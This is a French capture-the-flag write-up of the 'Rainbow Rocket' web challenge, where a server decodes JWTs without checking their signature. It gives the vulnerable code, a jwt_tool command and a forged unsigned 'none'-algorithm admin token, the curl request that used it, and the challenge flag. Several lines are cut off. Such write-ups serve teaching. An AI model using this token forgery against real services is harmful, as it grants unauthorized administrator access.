```
# 📌 Write-up CTF : Rainbow Rocket - École2600
**Morad Halmi - École2600**
**Catégorie : Web Exploitation / JWT Manipulation**
**Difficulté : Facile**

---

## 🎯 Introduction
Dans ce défi "Rainbow Rocket", nous étions confrontés à un panneau d'administration se

---

## 🔍 Description du défi
- L'interface d'administration de Rainbow Rocket est protégée par une authentification
- Le but était d'obtenir un accès administrateur pour récupérer le flag.

---

## 🚀 Analyse de la Vulnérabilité
### 📌 Le JWT (JSON Web Token)
- Un JWT est un token qui contient des informations sur l'utilisateur sous forme de **
- Le serveur Rainbow Rocket vérifiait simplement la **présence d'un JWT** pour accorde
- Cependant, la vérification de la **signature du JWT** était désactivée :
```javascript
const decoded = jwt.decode(token);
if (decoded?.username === 'admin') {
    return res.json({ flag: process.env.FLAG });
}
```

- 🚨 La fonction `jwt.decode` décode le JWT sans vérifier la signature, ce qui signifie que nous pouvions forger notre propre JWT avec les permissions admin.

🚀 Stratégie d'Exploitation

🔧 Plan d'Action

1. Générer un JWT falsifié avec l'algorithme `none` (aucune signature).
2. Modifier la revendication (claim) `"username"` pour `"admin"`.
3. Utiliser ce JWT pour obtenir le flag via l'API.

✅ Génération du JWT

- Nous avons utilisé l'outil **`jwt_tool`** avec la commande suivante :
```

```
python3 jwt_tool.py -I -pc username -pv admin -X b
```

- Le JWT généré était :

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
```

✅ Récupération du Flag

- Utilisation du JWT pour obtenir le flag :

```
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImF
```

- Réponse du serveur :

```
{"flag":"404CTF{decod3diSNOtVeRiFiED}"}
```

🏆 Flag

```
404CTF{decod3diSNOtVeRiFiED}
```

💡 Pourquoi cette stratégie fonctionne ?

- Le serveur ne vérifie pas la **signature du JWT**, il se contente de **décoder** le JWT.
- En créant un JWT avec `"alg": "none"`, nous avons pu contourner la vérification et devenir administrateur.

🌟 Ce que j'ai appris

- Les faiblesses d'une mauvaise implémentation des JWT.
- L'importance de **vérifier la signature d'un JWT** sur le serveur.
- Utiliser des outils comme **`jwt_tool`** pour manipuler les JWT de manière efficace.

✨ Conseils pour de futurs défis

- Toujours vérifier si un JWT est correctement vérifié (signature).
- Chercher les failles de configuration dans les systèmes d'authentification.
- Utiliser `curl` pour tester rapidement les endpoints d'API.